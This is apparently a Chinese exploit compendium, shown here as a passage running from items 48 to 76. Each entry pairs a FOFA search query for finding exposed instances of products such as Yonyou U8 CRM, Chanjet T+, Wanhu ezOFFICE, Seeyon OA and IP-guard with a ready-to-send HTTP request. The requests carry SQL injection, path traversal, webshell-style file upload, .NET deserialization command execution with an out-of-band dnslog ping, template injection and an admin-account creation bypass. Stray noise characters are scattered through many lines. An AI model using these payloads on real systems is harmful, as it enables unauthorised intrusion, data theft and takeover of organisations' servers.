' o! ~$ `* j, i2 H$ fGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
5 [! R! ?  r9 a2 ]) tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
$ l% q% o; q4 [$ @" SIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
* d% m+ |6 ?  ?Connection: close
+ M9 h. m4 T) s/ J: g
9 b; b' T3 }# @
2 ?' b) D) J- @: E: f
48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
( p1 B0 a9 T. I, u0 Y/ Z% GPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
6 Z6 X, T7 Y/ q% v- G, x- wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
; a; g  r4 g2 D4 l; @5 G% oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 q" W2 G3 U- v! ^. n6 FAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
- c/ P4 q6 R) R( IContent-Disposition: form-data; name="file"; filename="s.php"
' j6 t+ V, P1 v' r, E3 z1231
Content-Type: application/octet-stream
6 z" r" [8 N2 {, F- \) N------269520967239406871642430066855
' h6 g. X- l( \- NContent-Disposition: form-data; name="upload"
0 v) c/ u5 y" v  Iupload
$ x- O" ~% L, s! }% [------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
, _9 f" |; k0 E$ V5 pFOFA：body="用友U8CRM"
2 W+ P! p* l" X9 {7 V' H
6 T% u- R" F8 J! XPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
1 ^" k& K  I. gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
5 S( y" R1 w9 ~$ x! E0 P$ DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; ?* B- I" o+ J; w- KConnection: close
$ j2 D/ R6 G" m5 DContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

5 ?- ~- s/ l. c3 }- rwersqqmlumloqa
" Y2 o6 S0 G2 {4 P) h-----------------------------vvv3wdayqv3yppdxvn3w
2 Y  i" H* v' c' pContent-Disposition: form-data; name="upload"

upload
- [  u; j- Z  S: G$ u" U-----------------------------vvv3wdayqv3yppdxvn3w--


http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
- B: F" _! B/ I9 Y# G- |2 vConnection: close
Content-Length: 224
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
+ q) A  O6 \$ rAccept-Encoding: gzip

+ f& J; X  L1 s& vsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
) I. W. [+ {( n  k$ l; K) m' H( l
1 d; J+ Y8 T' l$ o" D0 T4 ^. t0 f/ K
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
# }6 `% l: |2 Q4 r) M9 aFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
# F) ?  P, [% t3 \! U! [" L* ZHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
- R& I+ f# b# Z" \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
4 o$ R9 V# [+ l, k  CAccept-Encoding: gzip, deflate
$ _& l1 U! t. H( I& ~. IAccept-Language: zh-CN,zh;q=0.9
Connection: close
  s, T! ~1 S4 z3 S# O2 T2 @3 K
/ E3 R& Z# o3 Y7 N4 c5 d3 g! G' x
52. 泛微E-Office json_common.php sql注入
: L  o% E& K1 ]; |# h/ fFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
0 L' o5 l9 R4 b! E" ]% m( pHost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) i0 o: z# c. z+ D, b# j5 H: QConnection: close
, q0 s6 |  x) q# ^Content-Length: 87
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
0 Q- o+ p0 Z" t) I. Z, q6 H: o6 qAccept-Encoding: gzip

- j0 B7 s$ K; p$ ~1 R0 ttfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333

4 ~2 X6 N# |* I0 Y; C: y
53. 迪普 DPTech VPN Service 任意文件上传
# N7 K- l  t" t; B" ?FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
: l0 ]  P2 i4 Q+ `
& v& v% S: E1 r4 R; v
" |8 p" U* _) _* B9 l" Y/ S* p5 w54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
! G$ y7 C6 l) R0 n; i) W第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
  n: q$ u* z5 A( [# y: Y( ]"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


9 f- S- S. Q4 z4 l# B7 G9 t完整数据包
4 A: K/ w  `) x4 g, S0 Q- u, KPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
  F. e& z3 @, s+ hHost: x.x.x.x
; F# U* P" W( P- p5 H% zUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
8 f- H- [' `2 P5 r. t4 p
{
, @) ]" T8 I5 J3 x* m  d  F"storeID":{
  V! v( l( M" X "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
" J1 r  E# l6 | "MethodName":"Start",
7 P# b8 i# L! F# Y2 u! U* U  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
0 k/ J/ m% M% y: p, J0 X    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
& b3 W1 v" Y$ ^. w* K    }
2 ^) `  ^2 p/ J3 r) }  F/ E  x  }
! p! [  S& V. j* x  }
}

! K' X8 M7 M2 Q1 \" X
第二步，访问如下url
% F6 r2 i8 k8 D6 k/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
4 L/ Q+ J2 b7 c/ C! S. A

55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
" O4 G) v- B# K5 f' r9 D3 ~: l8 u第一步，通过
9 u% W0 ^/ D- r6 v/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
: {! T* f9 {7 P8 K5 {" L! t* C! `- a第二步，利用获取到的Cookie请求
: _) b. V% G2 L( m' l  w/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
/ w; L2 s% N* E' s: P' q) `( e$ ~; U8 BPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
# [- t' P! V' s: V5 v% s4 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
* z- D5 q" c+ G+ YContent-Type: application/json
# G, e) x4 m5 [2 t9 {& }, \
{
  "storeID":{
" w$ {0 z/ u& \0 n2 x2 Z    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
+ B, v. x  I# s" y# D   "MethodName":"Start",
% P% L, x$ m: n6 r    "ObjectInstance":{
/ b* C* I' B# i% x# o6 b       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
/ r! ^* ]# O: G! h: C6 Y* r+ O/ x           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
% M5 z+ a' m% q) _- j) e4 s; m       }
    }
$ x; |2 Z& ?! j2 x. C  L, ]  }
5 Z8 \: j: |+ C8 T( i! g}


57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
3 I2 J. J) M7 s7 ?GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
8 n2 x2 g+ Y6 h: V+ DHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
4 \/ W6 q1 j/ f3 K8 @5 @Accept-Encoding: gzip, deflate
Connection: close
' h1 a( d0 l. l9 X8 ^) G

3 k+ Y' h4 d5 s4 O58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
0 V. k$ D& E& p* ~GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
* @! h- i$ j, |9 l& Q0 B  kHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
4 Y9 t& n3 f9 w1 H  G& T3 c( bConnection: close
# c0 X: I* Q9 K' O" B2 n, W  R
; N8 r% e" p) @7 n. T. y( R* C3 \2 S
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
- z/ i% F+ w* jHost: 192.168.86.128:9090
: ]2 o( c" C. n# B1 h& uUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
7 v# O8 P( w2 A. m9 a$ RConnection: close
Content-Length: 1669
Accept: */*
Accept-Language: en
, _; a8 j, G/ g: OContent-Type: application/x-www-form-urlencoded
0 @6 c5 `9 h5 a  y) `1 TAccept-Encoding: gzip
1 v  A! ]6 R7 J* g8 u3 U
, [" F$ u) s. Q" Q8 `2 m. zPAYLOAD
! u3 @; w- k8 s- P7 E% F7 l2 s

60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
7 O. _, x6 [/ @/ X1 g1 r$ |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
6 S2 W. K  d2 kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# ~& j$ N7 x2 l& Q" @Accept-Encoding: gzip, deflate
8 X. w6 D5 l6 rAccept-Language: zh-CN,zh;q=0.9
1 ~; E0 C1 h( ]9 j0 z( p, v+ O. A1 WConnection: close


9 x5 z# R7 n: M( M/ U: G8 U61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
4 x! D- }, O( e4 V1 P. Q# cFOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
3 \  o- w" q9 W; a  L" [. vContent-Type: application/x-www-form-urlencoded

; ~8 F2 `4 |3 x, O0 I# G0 S4 M8uxssX66eqrqtKObcVa0kid98xa
& m1 d- J; [& X! V+ }. O9 |
( O) g" e1 f. Y% s0 j2 O. n4 U- F
7 M% H) Y2 g1 f; w62. IP-guard WebServer 远程命令执行
9 `, T+ o1 I# i/ x* a7 N! K/ D' @* BFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
5 p, y" |! @/ [4 EHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
* m9 ~$ o3 Z. ?" M! {) s, jConnection: close
0 E. s( x  y5 A3 lAccept: */*
# x) }2 c, H4 ?) e2 j, b" l0 D1 G; uAccept-Language: en
Accept-Encoding: gzip
7 n4 [7 z1 T& m& D8 ~1 n/ F0 ]. M

访问
6 k0 |- V6 x9 J
4 x9 ~  M+ G" s. A* B% s5 `3 qGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x


4 w) y! t" }& e! s$ l" B( ]. S7 j63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
/ X, b$ I; `7 a- W- y# A' SPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
, X3 X( b3 c, p0 b& V' GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, q0 ?7 v. Z# r& [Accept-Encoding: gzip, deflate
' a4 S: E2 {  k  U; m# JAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
: @2 H" R) P4 j8 o  Q+ h
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
( N( V4 ^/ i$ ?, \& fFOFA：body="/Scripts/EnjoyMsg.js"
) N+ y. ^- ]0 B0 e" k. ~# CPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
- E( |" I+ V& y. u1 _5 KHost: 192.168.86.128:9001
- R/ b% r" T5 vUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
3 ]% b, t) D. L9 E/ ]7 z; D4 t. G* uContent-Length: 369
Accept: */*
! f) c- c8 q' }8 S" M/ MAccept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
5 w; C- H% [  k7 R; Z. `) ~7 |<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
# o3 V2 d6 Y* K1 N$ B5 ?; S" q    <GetOSpById xmlns="http://tempuri.org/">
8 h% C+ p- b1 A, W: I. h      <sId>1';waitfor delay '0:0:5'--+</sId>
% S8 _' t- c# L: L    </GetOSpById>
  </soap:Body>
</soap:Envelope>
/ K9 g$ A6 O( y

65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
9 ]7 h! v7 w* I: [: ?" H* iFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
7 J7 R/ r$ Z4 D- O9 G& H% G响应200即成功创建账号test123456/123456
2 z/ W5 Q0 @2 Q9 u9 L6 X! n2 LPOST /SystemMng.ashx HTTP/1.1
) i1 ]2 Z- c% F3 x0 ?+ uHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
- l1 }5 @) n4 @6 @- p  q1 d: Y0 @Connection: close
Accept-Language: en
( U3 X6 c8 {0 F( Y4 b7 JContent-Length: 174
: s) ^; j% y& r& }9 A
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
; ?# ?% _8 _; V1 E1 N) O

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
& d( @# s9 d0 j; }# ^FOFA：app="万户ezOFFICE协同管理平台"
0 T1 F- x/ E& Z" Z0 N9 p/ F5 z
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
  B7 X$ w9 c4 m1 L0 M% y- WHost: x.x.x.x
/ ^6 Q% Y# x9 ~( z1 B' k) ^7 ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
* c& n7 q' j, nAccept-Language: en
+ W$ o. D( X3 ~+ a. TAccept-Encoding: gzip


第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
( b. l4 W& Y0 z( f- H
67. 万户ezOFFICE wpsservlet任意文件上传
) m  c  b: ]/ v9 z% K- Z8 I7 ~FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
9 A2 J% E' h$ y3 bPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
% F- L, v% ~- Y* \8 B2 |Host: x.x.x.x
; D3 ~! g% Z2 _: C$ ?User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
" b) R! m; {9 x" N* DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
4 d; Q' Z( u/ F: `! p! J- CDNT: 1
Upgrade-Insecure-Requests: 1

% b8 L' O6 n' M- _9 ]0 C--ufuadpxathqvxfqnuyuqaozvseiueerp
! T7 Q9 J4 l1 WContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
! W% t' X: T  S# y
4 i: l+ X" f; G5 e9 \) j2 D<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--


文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
- M; E3 k+ _, @; m5 H( P% F5 Z; TFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
3 h( q( x- }/ k; a* g/ f' nHost: {{host}}
( c' p- V" R" S" h, A1 \6 R4 S  h* GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
8 [' R" Z% t4 `Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
4 D/ q  c: s8 O* @! W0 o& ?Accept-Encoding: gzip, deflate
' d" W: L9 p# z" H2 m* tAccept-Language: zh-CN,zh;q=0.9
Connection: close


: c5 N+ H: J  X$ A8 K7 x- X) ^69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
4 f5 ^6 @: D7 x6 `$ F/ V) NUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
" [" A. A' w8 T- B1 q8 O% zConnection: keep-alive
; u; x" s4 y/ R5 q% z' A$ h9 |; m

# T1 ^5 s8 M) W70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
% F( l) ?* O. |  _6 D5 B9 RPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
5 O9 B: ]* H2 ]' r" Y% |: iTYPE: C
Content-Length: 16702
, m  N% \- N, c: _( [; m% _% f
- W; f+ ?% i" A, W$ ]4 d__VIEWSTATE=PAYLOAD


  Q: v/ D7 n9 Z" D71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
6 p' R; B5 R% J! A: j% h2 CFOFA：body="PM2项目管理系统BS版增强工具.zip"
7 v; j! z/ b: V( P+ r' Z! k7 F/ CGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 x; U' ~" `( u2 q" Z' c0 mAccept-Encoding: gzip, deflate
7 ^3 Y0 D4 P' q9 i2 iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 W: I( d5 U0 E3 k3 W6 dUpgrade-Insecure-Requests: 1


72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
" l2 L8 t; n' O0 b& H- XConnection: close
Content-Length: 583
; p6 h; c( S* o! b3 M# C. sContent-Type: application/x-www-form-urlencoded
# F7 u2 D, F0 H' f- G9 A. G: R! v4 d7 wAccept-Encoding: gzip
/ z9 |- {& {" O* P3 h& f8 o. N0 D+ [
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

" q! d/ `3 H- U6 T' d3 ?  \5 ~
; Q( y, C( x( @6 X6 M73. GeoServer wms远程代码执行
" P5 b8 s- \: c+ m* h" CFOFA：icon_hash=”97540678”
% `4 k0 j; D" }% Q( }* gPOST /geoserver/wms HTTP/1.1
% V7 D' \6 ^4 h3 hHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
+ T7 I; y; P. Q' ^% q$ tContent-Length: 1981
, f- K& Y- o( D* g/ bAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
; @* h6 [; I' hSL-CE-SUID: 3
0 M$ K; L3 w6 q  `4 h
PAYLOAD
6 N" U& {# u& l6 E

74. 致远M3-server 6_1sp1 反序列化RCE
/ x0 Z' N  g( r- f& E; A1 m: G  vFOFA：title="M3-Server"
PAYLOAD
4 J6 K8 M1 s; Z  b6 \
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
7 H$ v7 Y. D' L+ aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  Y8 W+ t5 }0 s0 C9 U  Z3 IConnection: close
Accept: */*
! Z5 v( {4 J5 e; `3 k! YAccept-Language: en
Accept-Encoding: gzip

* n2 A% M. d. e4 B2 J, l, _" e* j
8 N. w. ]! i  o$ pGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x

4 P, H5 \6 h. S+ r8 _
76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
2 V. m" v& p/ L) y, AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
$ |: K5 V6 i- Q3 _+ A+ @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ Z* h) _* C* B& yAccept-Encoding: gzip, deflate
4 r8 E7 Z. m" T) f0 _  y5 ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ M0 P; Q# a( W) ?9 t$ A2 @( iCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
6 u! ], }& g- l6 G& @+ uUpgrade-Insecure-Requests: 1
2 m) q4 P# A4 G) }
9 @6 U* n: K: ^" ^. K7 l{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
. [$ N8 {+ X5 x! C( j7 n' [  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
0 c5 Y+ n; t- x7 e$ Y/ t( ~

GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
